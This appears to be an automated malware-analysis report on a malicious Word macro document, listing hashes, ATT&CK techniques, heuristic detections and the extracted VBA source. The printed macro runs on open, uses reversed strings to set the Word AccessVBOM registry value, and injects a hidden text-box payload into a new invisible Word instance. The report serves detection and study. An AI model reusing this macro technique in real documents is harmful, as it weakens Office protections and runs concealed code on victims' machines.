Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d883c290d773a9cd…

MALICIOUS

Office (OOXML)

75.6 KB Created: 2021-05-04 08:50:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-22
MD5: ce102dd9d503ea093aec24206420efb6 SHA-1: 98f0440d1939bff62ea875502297936ee4503d8b SHA-256: d883c290d773a9cd81f37ff006cb19e814437eb8b14f06735dabd0c135ea3d28
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' macro executes a function that uses 'WScript.Shell' to write a registry value, likely for persistence or to trigger further execution. The script also attempts to create a Word application object and add code to it, suggesting it may download and execute a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub iteratorDocumentVariable(windowView)
With CreateObject("wscript.shell")
.RegWrite windowView, 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub pointerPtr(windowQueryBorder As String)
Set pointerPaste = CreateObject("word.application")
With pointerPaste.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "tempPtrBorder"
Sub autoopen()
swapSelectBuffer
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1711 bytes
SHA-256: 118e6ab5e8723f309a9dd290951a9181a81f52b274175a64b03fc09f86cf72cf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{ED8409BE-E1CB-410C-9C1C-3B769A418AFE}{1CFDD7E2-193E-4A42-9D12-B5E37BC742C1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "tempPtrBorder"
Sub autoopen()
swapSelectBuffer
Dim ExData As String
ExData = sizeSwap
pointerPtr ExData
End Sub

Attribute VB_Name = "tmpLoadBorder"
Sub pointerPtr(windowQueryBorder As String)
Set pointerPaste = CreateObject("word.application")
With pointerPaste.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString windowQueryBorder
End With
pointerPaste.Visible = False
pointerPaste.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "tableLeftFunc"
Function arrayClass() As String
arrayClass = Application.Version
End Function
Sub iteratorDocumentVariable(windowView)
With CreateObject("wscript.shell")
.RegWrite windowView, 1, "REG_DWORD"
End With
End Sub
Sub swapSelectBuffer()
windowView = StrReverse("\eciffO\tfosorciM\erawtfoS\RESU_TNERRUC_YEKH")
clearDatabase = arrayClass
vbReference = StrReverse("MOBVsseccA\ytiruceS\droW\")
iteratorDocumentVariable windowView & clearDatabase & vbReference
End Sub
Function sizeSwap()
sizeSwap = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: ce088d4379592efb425397c213cf50404fa64bd9aa752af6f347e79ff2835983

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